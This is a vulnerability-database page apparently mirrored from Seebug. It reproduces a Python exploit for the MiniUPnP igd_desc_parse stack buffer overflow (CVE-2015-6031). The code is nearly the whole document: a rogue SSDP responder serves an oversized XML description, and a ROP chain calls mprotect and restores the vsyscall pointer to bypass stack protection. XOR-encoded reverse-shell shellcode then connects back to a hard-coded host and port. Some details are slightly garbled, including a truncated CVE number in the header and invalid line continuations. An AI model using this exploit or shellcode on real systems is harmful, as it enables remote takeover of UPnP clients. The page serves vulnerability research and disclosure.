Lucene search
K

MiniUPnP igd_desc_parse. c buffer overflow

🗓️ 29 Jan 2016 00:00:00Reported by FooyingType 
seebug
 seebug
🔗 www.seebug.org👁 44 Views

MiniUPnP igd_desc_parse buffer overflow exposing CVE 2015-603

Code

                                                # TALOS-CAN-0035 (CVE 2015-6031) exploit by Aleksandar Nikolic
# illustrating the SSP bypass with a stack buffer overflow in an
# application that uses pthreads. 
import socket
import struct

#SSDP reply to MSEARCH request, specifies the location URL
reply = """HTTP/1.1 200 OK
CACHE-CONTROL: max-age=120
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:50b983c3-f96b-4f3f-b683-3071be3f126b::urn:schemas-upnp-org:device:InternetGatewayDevice:1
EXT:
SERVER: Fedora/20 UPnP/1.1 MiniUPnPd/1.9
LOCATION: http://192.168.98.138:1900/rootDesc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: 1437429835
BOOTID.UPNP.ORG: 1437429835
CONFIGID.UPNP.ORG: 1337\n\r\n\r
"""

#reverse shellcode to 192.168.98.138:1337, xor encoded to avoid bad chars
reverse_shell = "\x90"*4 + "\x31\xd2\x31\xc9\x31\xc0\xeb\x10\x5e\xb0\x88\xb1\x4a\x30\x06" /
						   "\x46\xfe\xc9\x38\xd1\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xe2" /
						   "\xee\xd0\xe2\x89\xd3\xb9\x5a\xda\xdb\xe2\x8a\x01\x69\x45\x08" /
						   "\x1a\x38\xee\xe0\xf7\x89\x89\x89\xee\xe0\x8d\xb1\xcb\xee\xdb" /
						   "\x01\x69\xe2\x98\xd9\xda\x01\x69\xcb\x45\x08\xe2\x8a\xd1\x0f" /
						   "\x52\x38\xb7\x45\x08\xc1\xf1\x71\x38\x83\xc9\x01\x42\xda\xe0" /
						   "\xa7\xa7\xfb\xe0\xe0\xa7\xea\xe1\xe6\x01\x6b\x45\x08" 
mprotect = 0xb6d49350 # address of mprotect in libc
fix = 0xb04fdb50 	  # the address of SYSINFO pointer that we need to fix 
kernel_vssycall = 0xb7fdbbb0 # original value of SYSINFO pointer that we need to restore
valid_addr = 0xbfffffc0	# ROP gadgets require R/W memory address, this is a safe bet

add_esp_pop = 0x8064d24a
"""
   0x8064d24a:	add    esp,0x13ec
   0x8064d250:	pop    ebx
   0x8064d251:	pop    esi
   0x8064d252:	pop    edi
   0x8064d253:	pop    ebp
   0x8064d254:	ret

   A nifty little gadget that gets esp pointing at our buffer 
   and pops four registers from it. 
"""

mov_esi_edi = 0x806a2817
"""
   0x806a2817:	mov    DWORD PTR [esi],edi
   0x806a2819:	mov    esi,DWORD PTR [esp+0x14]
   0x806a281d:	mov    edi,DWORD PTR [esp+0x18]
   0x806a2821:	add    esp,0x1c
   0x806a2824:	ret   

   Since, through the previous gadget, we control esi and edi,
   this gadget can be used as a write-4-anywhere primitive. 
   We use it to repair the overwriten __kernel_vsyscall pointer.
"""


rootDesc ="""HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Connection: close
Content-Length: 14566
Server: Fedora/20 UPnP/1.1 MiniUPnPd/1.9
Ext:

<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0"><"""
rootDesc += "A"*4308 + "CCCC" #start the overflow
#this is where we return for the first ROP gadget
rootDesc += struct.pack("<I",fix) # stack pointer to kernel_vsyscall 
rootDesc += struct.pack("<I",kernel_vssycall) #actuall address of vsyscall
rootDesc += "FFFF"	#JUNK
rootDesc += struct.pack("<I",mov_esi_edi) # fix the overwritten kernel_vsyscall pointer
rootDesc += "D"*14 #stack alignment
rootDesc += struct.pack("<I",valid_addr)*2 # previous gadget needs a valid esp address to r/w
rootDesc += "D"*6 #stack alignment
rootDesc += struct.pack("<I",mprotect) #setup call to mprotect
rootDesc += struct.pack("<I",0xb04fdb50-len(reverse_shell))*2 #mprotect address, we don't care about the size
rootDesc += "A"*(1344-len(reverse_shell)) + reverse_shell  + "CCCC" 
rootDesc += struct.pack("<I",add_esp_pop) # this overwrites the kernel_vsyscall pointer initially and kickstarts the ROP
rootDesc += "></asd></root>"


multicast_group = '239.255.255.250'
server_address = ("", 1900)

# Create the socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Bind to the server address
sock.bind(server_address)

# we want this to be part of the multicast group
# so we can see the request
group = socket.inet_aton(multicast_group)
mreq = struct.pack('4s', group)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq+ socket.inet_aton("192.168.98.138"))

m=sock.recvfrom(1024)
message = m[0]
client = m[1]
print "Recived broadcase from %s on port %d"%(client[0],client[1])
if "M-SEARCH"  in message:
	print "Got a MSEARCH request"
	print "Replying"
	sock.sendto(reply,client) # send the MSEARCH reply and then wait for the victim to request the XML
	tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	tcp_sock.bind(server_address)
	tcp_sock.listen(1)
	while True: 
		connection, client_address = tcp_sock.accept()
		msg = connection.recv(1024)
		print "Got tcp request"
		if "rootDesc.xml" in msg:
			print "Sending rootDesc.xml"
			connection.send(rootDesc) # finally, send the packed XML with the payload
			connection.close()
			print "Done!"
			break
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation